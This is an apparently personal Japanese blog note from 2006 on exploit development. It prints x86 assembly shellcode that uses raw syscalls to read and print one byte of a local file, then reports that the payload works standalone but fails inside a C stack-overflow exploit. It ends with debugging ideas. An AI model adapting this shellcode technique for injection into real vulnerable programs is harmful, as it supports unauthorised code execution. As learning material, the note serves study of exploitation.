NENote of Exploiting


2006-11-18 : Read One-Byte Payload

 1バイト読み込みペイロードの実験メモ。このペイロードはファイルの先頭から1バイト読み込みを行い、コマンドライン上に文字として読み込んだバイトを表示する。結論から言うと、この実権は失敗している。

[SC] fread_onebyte.s


.globl main

main:
    jmp    ONE
TWO:


    #open
    popl   %ebx
    mov    $0x5,   %al
    xorl   %ecx,   %ecx
    int    $0x80

    #read
    xorl   %edx,   %edx
    inc    %edx
    mov    %esp,   %ecx
    mov    %eax,   %ebx
    mov    $0x3,   %al
    int    $0x80
    mov    %ebx,   %esi

    #write
    mov    $0x4,   %al
    mov    $0x1,   %bl
    int    $0x80

    #close
    mov    $0x6,   %al
    mov    %esi,   %ebx
    int    $0x80

    #exit
    mov    $0x1,   %al
    xorl   %ebx,   %ebx
    int    $0x80

ONE:
    call   TWO
    .string "/home/defolos/Desktop/test"

[Data] test

x234

Exemplification

 コマンドラインから実行する場合においては、このペイロードは意図した動作を行う。

defolos@glazheim:~$ gcc fread_onebyte.s
defolos@glazheim:~$ ./a.out
xdefolos@glazheim:~$ 

 しかし、C言語のExploit([SC] exploit.c)に埋め込んだ状態では意図した動作を行わなかった。

defolos@glazheim:~$ ./exploit.exe
sp = 0xbffff8f8
ret = 0xbffff8f8
-------exploit---------------

 ペイロードの振る舞いはscanf()のような入力待ち受け状態になるだけであった。少なくとも、ペイロードはExploitから呼ばれているため、Exploitにはバグはないと判断できる。バグがあるとすればfread_onebyte.sペイロード内である。特に、入力待ち受け状態になる振る舞いはバイトコードへの変換ミスでよく起こる現象である。

Issues

 ペイロードが意図した動作を行わなかった点が問題点である。解決策のひとつとしてGDB(GNU Debuger)を利用してプログラムをトレースする策が挙げられる。

Copyleft (C) 2007 Len. All Rights Not Reserved.